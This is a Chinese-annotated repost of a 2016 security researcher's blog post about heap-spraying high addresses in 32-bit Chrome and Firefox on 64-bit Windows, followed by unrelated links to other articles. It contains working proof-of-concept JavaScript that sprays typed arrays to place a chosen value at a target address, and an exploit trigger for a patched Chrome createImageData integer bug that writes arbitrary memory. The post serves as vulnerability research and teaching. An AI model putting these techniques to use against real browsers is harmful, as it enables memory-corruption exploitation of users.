转:https://blog.skylined.nl/20160622001.html,June 22nd, 2016

In my previous blog post I wrote about magic values that were originally chosen to help mitigate exploitation of memory corruption flaws and how this mitigation could potentially be bypassed on 64-bit Operating Systems, specifically Windows. In this blog post, I will explain how to create a heap spray (of sorts) that can be used to allocate memory in the relevant address space range and fill it with arbitrary data for use in exploiting a vulnerability that involves referencing a magic value pointer.The relevant address space range in most cases is between 0x­C0000000 and 0x­F0000000, so the Proof-of-Concept code will attempt to allocate memory at the address 0x­DEADBEEF and store the DWORD value 0x­BADC0DED at this address.在0x­DEADBEEF。地址存储0x­BADC0DED

  • Using typed arrays for heap sprays

Most browser heap sprays are based on the code I developed for an exploit in 2004. For reasons I won't get into here, this heap spray repeatedly concatenated a string to itself to exponentially grow the size of this string. A number of copies were than made of this string in order to fill the desired amount of memory.Since 2004, a lot has changed and a lot of features have been added to modern browsers that can be used to spray the heap faster, easier and with better control over its content. One such feature is typed arrays. As explained on the MDN page, these are similar to "normal" Javascript arrays, except that they are never sparse(不稀疏). Data stored in typed arrays is stored in an Array­Buffer, which is backed up by one consecutive block of memory in which the values are stored. By creating a typed array, one can therefore allocate one consecutive block of memory of a controlled size(可以申请一块可控大小的连续内存空间,同时内容可控), and the contents of the memory can be controlled by setting array elements to specific values.

  ArrayBuffer和C语言内存分配一样,分配一块内存块,相当于C语言中的malloc();光有内存块,而不进行操作也是没有用的,javascript通过视图的方式对内存块进行读写,存在两种视图:

  1. TypedArray: 特定类型的数据类型,特定类型的一种视图,对特定类型操作性能更高;
  2. DataView: 各种数据类型都可以,还可以指定大端序(BIG_ENDIAN),小端序(LITTLE_ENDIAN),功能更强大的一种视图
  • Spraying the heap in the right place

Heap blocks are normally allocated at the lowest possible address. If you allocate two blocks on an empty, unused heap, these blocks should normally be sequential: (连续分配)the second block will get allocated immediately after the first in memory and therefore be located at a higher address. After the heap has been used for some time and blocks have been freed, the heap can become fragmented. This means that there are unused (freed) areas in between the areas that are still in use. When you allocate a new block from the heap, one of these freed areas can be reallocated, so two sequential allocations may no longer end up next to each other and the second allocation may end up before the first. (heap feng shui can be used to get around this in some cases, but I digress).Fortunately, these gaps (间隙很小)in the heap tend to be a lot smaller than the large blocks used in a heap spray, so fragmentation can be ignore in this case: when asked to allocate a very large block of memory, it will almost certainly get allocated after everything else already allocated on the heap.Because 32-bit applications have all their modules (dll基地址靠近0) loaded at addresses close to, but below 0x80000000, there is only so much space available for a large allocation immediately after the heap and before these modules. If you attempt to allocate a block that is larger than the gap(申请的块大于堆和动态库之间的间隙时) between the heap and the modules, there is no place this allocation can go but after the modules.So, by allocating sufficiently large memory blocks(申请足够多的大块内存后,可以保证内存块地址位于0x80000000), we can all but guarantee that these blocks will be allocated at addresses above 0x80000000. And since there is nothing there to fragment their allocation, they should end up sequential, allowing us to reliably allocate memory in the region around 0x­DEADBEEF.

  • The Proof-of-Concept

Unlike Firefox, Chrome has an artificial limit (人为限制)on the number of bytes you can allocate through a typed array. This means that on Firefox, you can simply allocate one large block (firefox没有typearray的大小限制,只需要分配大块填充内存)that starts at 0x80000000 and contains all memory up to and including 0x­DEADBEEF. On Chrome, you will need to allocate two blocks, one to fill the lower part of memory and one that contains the target address. After allocating the(se) block(s), setting the value at address 0x­DEADBEEF to to 0x­BADC0DED is as simple as setting a few values in the array at the right index. Because the base address of the memory block depends on the allocator used by the browser(内存块基地址依赖于浏览器分配器), it is deterministic(确定,数组索引可以猜测) and the right index can be guessed with very high reliability. The code below shows how this is done. After loading this web-page you can inspect the memory at 0x­DEADBEEF (in Chrome make sure you have the render process) to make sure it contains the value 0x­BADC0DED.(在win7-64,chrome 61_32版本可以复现)

 <html>

 <head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<script>
var uTargetAddress = 0xDEADBEEF; // The address to allocated
var uValue = 0xBADC0DED; // The value to store at this address.
var uArrayBase = window.chrome ? 0x80004000 : 0x80000000;
var uArraySeparation = window.chrome ? 0x200000 : 0x0;
var uMaxArraySize = window.chrome ? 0x30000000 : 0x80000000;
var aauHeap = [];
while (uArrayBase + uMaxArraySize <= uTargetAddress) {
console.log("Allocating 0x" + uMaxArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
aauHeap.push(auHeap = new Uint8Array(uMaxArraySize));
uArrayBase += uMaxArraySize + uArraySeparation;
};
var uArraySize = uTargetAddress-uArrayBase + 4,
auHeap = new Uint8Array(uArraySize);
console.log("Allocating 0x" + uArraySize.toString(16) + " bytes at 0x" + uArrayBase.toString(16));
for (var uOffset = 0; uOffset < 4; uOffset++) {
var uByteIndex = uTargetAddress-uArrayBase + uOffset,
uByteValue = (uValue >> (uOffset * 8)) & 0xFF;
auHeap[uByteIndex] = uByteValue;
console.log("[0x" + uArrayBase.toString(16) + " + 0x" + uByteIndex.toString(16) + "] = " + uByteValue.toString(16));
};
// All done: break into the application using your favorite debugger
// and see whether [0xDEADBEEF] realy is 0xBADC0DED. In WinDbg, this may help:
alert("!address 0xDEADBEEF;dd 0xDEADBEEF");
</script>
</head> </html>

At the end of 2013 I found signedness errors and integer overflows (有符号错误和整数溢出,可以任意读写内存)in Google Chrome that allowed reading and writing of arbitrary memory when Chrome is running on a 64-bit version of Windows. This issue was patched in early 2014, and I was going to release the details a that time, but there was a small slipup and the Chrome team forgot to actually apply the patch to the new build. So, I had to wait a bit longer for it the next release and subsequently completely forgot to release these details. But that does allow me to bring it up now and describe how that bug was triggered and how I wrote a Proof-of-Concept for the issue.

  • Repro

When using the create­Image­Data of a canvas element to create a very large Image­Data object on x64 bit versions of Windows, the memory used for this object can get allocated at address 0x7FFF0000. This causes the mayority of the object's memory to be located at addresses above 0x7FFFFFFF. This allows exploitation of signedness errors/integer overflows in the code that handles reading and writing of pixel data, effectively allowing a script to read and write memory in the mayority of the process' adddress space.

<!doctype html>
<html>
<head>
<script>
window.onload = function() {
var oCanvas = document.createElement("canvas");
var oContext2d = oCanvas.getContext("2d");
this.oImageData = oContext2d.createImageData(0x17001337,1);
function addressToIndex(iAddress) {
return iAddress + (iAddress < 0x7fff0000 ? +0x80010000 : 0x7fff0000);
}
this.oImageData.data[addressToIndex(0xDEADBEEF)] = 0x41;
};
</script>
</head>
</html>

待续...

转:Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows的更多相关文章

  1. 无光驱在32位windows系统下安装64位windows系统

    位的系统. 大家都知道,32位的操作系统最多只能支持3.2G的内存,现在内存白菜价,很多人都在原有基础上购入新内存,这样最少也有4G了,为了让内存不浪费,我 们只有升级到64位操作系统.但是很多朋友又 ...

  2. 关于32位windows和64位windows

    SysWow64文件夹,是64位Windows,用来存放32位Windows系统文件的地方,而System32文件夹,是用来存放64位程序文件的地方. 当32位程序加载System32文件夹中的dll ...

  3. 4 bytes (32 bits) or 8 bytes (64 bits)

    Computer Systems A Programmer's Perspective Second Edition BusesRunning throughout the system is a c ...

  4. 64地点 Windows 8/7 根据系统 32地点PLSQL 耦合 64 地点 Oracle 11g

    64地点 Windows 8/7 根据系统 32地点PL/SQL 耦合 64 地点 Oracle 11g     说明:安装后Oracle的 oci.dll 是64位的,而32位应用程序 PL/SQL ...

  5. 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序。

    原文 使 IIS 6.0 可以在 64 位 Windows 上运行 32 位应用程序 试图加载格式不正确的程序. win7 64位操作系统上边运行IIS网站应用的时候,提示错误"试图加载格式 ...

  6. win10下安装MinGW-w64 - for 32 and 64 bit Windows

    对于不经常使用c语言的同学来说,只需要安装MinGW-w64 - for 32 and 64 bit Windows,就可以使用GCC在命令行对c源码进行编译. 首先打开命令行检查自己是否已经安装了g ...

  7. Oracle 11g R2 32位 & Oracle 11g R2 64位 -百度云下载

    Oracle 11g R2 32位 & Oracle 11g R2 64位 -百度云下载 https://pan.baidu.com/s/1fuzy67Olfxzsy3WJMCrCnQ 提取码 ...

  8. 让 Oracle 11g 32位运作在64位 Windows 上

    并非不能运行. 本人安装版未曾尝试,但绿色版倒是运行成功了. 很简单:注册表的位置发生了变化而已! 默认(32位.64位),oracle会读取以下注册表的位置:      [HKEY_LOCAL_MA ...

  9. 【扫盲】】32位和64位Windows的区别

    用户购买windows安装盘或者重新安装操作系统的时候,通常会遇到这个问题,就是不知道该如何选择使用32位操作系统和64位操作系统,有人说64位系统速度快,其实理论上确实是这样,不过具体还要根据你的个 ...

随机推荐

  1. extjs 省市县级联

    Ext.define('State', { extend: 'Ext.data.Model', fields: [ {type: 'string', name: 'nevalue'}, {type: ...

  2. c# 重载运算符(ovveride operator)踩坑记,关于null比对

    场景描述: 需要比对两个版本的对应对象是否完全一致(每个属性值一致),不一致的导出报表颜色标识,以便提醒后续使用报表人员. 实现思路: 对象重载ToString方法,另实现一比对基类(为了通用)重载= ...

  3. Centos7环境下消息队列之ActiveMQ实战

    Activemq介绍 对于消息的传递有两种类型: 一种是点对点的,即一个生产者和一个消费者一一对应: 另一种是发布/订阅模式,即一个生产者产生消息并进行发送后,可以由多个消费者进行接收. JMS定义了 ...

  4. Javascript的执行过程详细研究

    下面我们以更形象的示例来说明JavaScript代码在页面中的执行顺序.如果说,JavaScript引擎的工作机制比较深奥是因为它属于底层行为,那么JavaScript代码执行顺序就比较形象了,因为我 ...

  5. LintCode 373: Partition Array

    LintCode 373: Partition Array 题目描述 分割一个整数数组,使得奇数在前偶数在后. 样例 给定[1, 2, 3, 4],返回[1, 3, 2, 4]. Thu Feb 23 ...

  6. cocos2dx学习,转摘一些链接

    cocos2d-x学习笔记09:动作2:持续动作 ccBezierConfig 贝塞尔坐标点是相对的 Box2DTestBed很有意思的demo,可惜自己水平有限针对其实现还是没弄明白,以后有时间多学 ...

  7. ES6核心,值得驻足花一天时间来学习

    1.let 和 const 命令 在es5时,只有两种变量声明,var 和function.在es6中新增了四种let和const,以及另外两种声明import和class. 我们先讲解let和con ...

  8. HDU 2044 Coins

    有一只经过训练的蜜蜂只能爬向右侧相邻的蜂房,不能反向爬行.请编程计算蜜蜂从蜂房a爬到蜂房b的可能路线数. 其中,蜂房的结构如下所示.   Input输入数据的第一行是一个整数N,表示测试实例的个数,然 ...

  9. 【洛谷 P3338】 [ZJOI2014]力(FFT)

    题目链接 \[\Huge{E_i=\sum_{j=1}^{i-1}\frac{q_j}{(i-j)^2}-\sum_{j=i+1}^{n}\frac{q_j}{(i-j)^2}}\] 设\(A[i]= ...

  10. 设计模式之Composite

    设计模式总共有23种模式这仅仅是为了一个目的:解耦+解耦+解耦...(高内聚低耦合满足开闭原则) Composite定义? 将对象以树形结构组织起来,以达成“部分-整体” 的层次结构. 想到Compo ...